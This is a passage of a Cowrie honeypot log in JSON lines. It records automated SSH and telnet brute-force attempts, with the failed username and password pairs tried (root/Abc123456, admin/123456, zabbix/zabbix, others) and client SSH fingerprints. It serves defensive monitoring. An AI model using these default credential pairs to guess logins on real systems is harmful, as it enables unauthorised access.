{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:52.023932Z","src_ip":"192.109.200.237","session":"6a29d391b313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.230960607528687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:53.076585Z","src_ip":"50.6.8.71","session":"13c9774f6783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:53.108935Z","src_ip":"192.109.200.237","session":"6a29d391b313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36106,"dst_ip":"159.203.135.109","dst_port":22,"session":"2421853b17a8","protocol":"ssh","message":"New connection: 192.109.200.237:36106 (159.203.135.109:22) [session: 2421853b17a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:55.080752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:55.085354Z","src_ip":"192.109.200.237","session":"2421853b17a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:55.172492Z","src_ip":"192.109.200.237","session":"2421853b17a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:55.421197Z","src_ip":"192.109.200.237","session":"2421853b17a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:56.505912Z","src_ip":"192.109.200.237","session":"2421853b17a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36110,"dst_ip":"159.203.135.109","dst_port":22,"session":"92890a876b2a","protocol":"ssh","message":"New connection: 192.109.200.237:36110 (159.203.135.109:22) [session: 92890a876b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:58.457839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:58.462876Z","src_ip":"192.109.200.237","session":"92890a876b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:58.546248Z","src_ip":"192.109.200.237","session":"92890a876b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:58.794810Z","src_ip":"192.109.200.237","session":"92890a876b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:59.881124Z","src_ip":"192.109.200.237","session":"92890a876b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36504,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e08fbb82b49","protocol":"ssh","message":"New connection: 109.237.96.109:36504 (159.203.135.109:22) [session: 9e08fbb82b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:01.003944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:01.009332Z","src_ip":"109.237.96.109","session":"9e08fbb82b49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:01.108476Z","src_ip":"109.237.96.109","session":"9e08fbb82b49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.114038467407227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:01.143851Z","src_ip":"50.6.8.71","session":"8059a879ef57","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adelina","message":"login attempt [root/adelina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:01.395949Z","src_ip":"109.237.96.109","session":"9e08fbb82b49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36362,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ad68721cff","protocol":"ssh","message":"New connection: 192.109.200.237:36362 (159.203.135.109:22) [session: d3ad68721cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:02.062865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:02.070769Z","src_ip":"192.109.200.237","session":"d3ad68721cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:02.156801Z","src_ip":"192.109.200.237","session":"d3ad68721cff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:02.414878Z","src_ip":"192.109.200.237","session":"d3ad68721cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:02.494030Z","src_ip":"109.237.96.109","session":"9e08fbb82b49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:03.518466Z","src_ip":"192.109.200.237","session":"d3ad68721cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36384,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e3fabb46745","protocol":"ssh","message":"New connection: 192.109.200.237:36384 (159.203.135.109:22) [session: 4e3fabb46745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:05.606433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:05.611418Z","src_ip":"192.109.200.237","session":"4e3fabb46745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:05.698200Z","src_ip":"192.109.200.237","session":"4e3fabb46745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:05.945427Z","src_ip":"192.109.200.237","session":"4e3fabb46745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50570,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f599987ee89","protocol":"telnet","message":"New connection: 50.6.8.71:50570 (10.17.0.5:23) [session: 4f599987ee89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:06.576965Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:07.082787Z","src_ip":"192.109.200.237","session":"4e3fabb46745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50562,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbc629ea8737","protocol":"telnet","message":"New connection: 50.6.8.71:50562 (10.17.0.5:23) [session: fbc629ea8737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:07.202586Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36408,"dst_ip":"159.203.135.109","dst_port":22,"session":"19bcb230c867","protocol":"ssh","message":"New connection: 192.109.200.237:36408 (159.203.135.109:22) [session: 19bcb230c867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:08.957194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:08.962076Z","src_ip":"192.109.200.237","session":"19bcb230c867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:09.044240Z","src_ip":"192.109.200.237","session":"19bcb230c867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.615259885787964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:09.144224Z","src_ip":"50.6.8.71","session":"3418c89ce1ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:09.402760Z","src_ip":"192.109.200.237","session":"19bcb230c867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:10.487928Z","src_ip":"192.109.200.237","session":"19bcb230c867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50838,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8e7cd149666","protocol":"ssh","message":"New connection: 192.109.200.237:50838 (159.203.135.109:22) [session: a8e7cd149666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:12.526888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:12.530978Z","src_ip":"192.109.200.237","session":"a8e7cd149666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:12.612220Z","src_ip":"192.109.200.237","session":"a8e7cd149666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:12.858222Z","src_ip":"192.109.200.237","session":"a8e7cd149666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50574,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a2a739b9309","protocol":"telnet","message":"New connection: 50.6.8.71:50574 (10.17.0.5:23) [session: 0a2a739b9309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:13.604040Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:13.942184Z","src_ip":"192.109.200.237","session":"a8e7cd149666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50852,"dst_ip":"159.203.135.109","dst_port":22,"session":"30ecea198099","protocol":"ssh","message":"New connection: 192.109.200.237:50852 (159.203.135.109:22) [session: 30ecea198099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:16.024887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:16.029660Z","src_ip":"192.109.200.237","session":"30ecea198099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 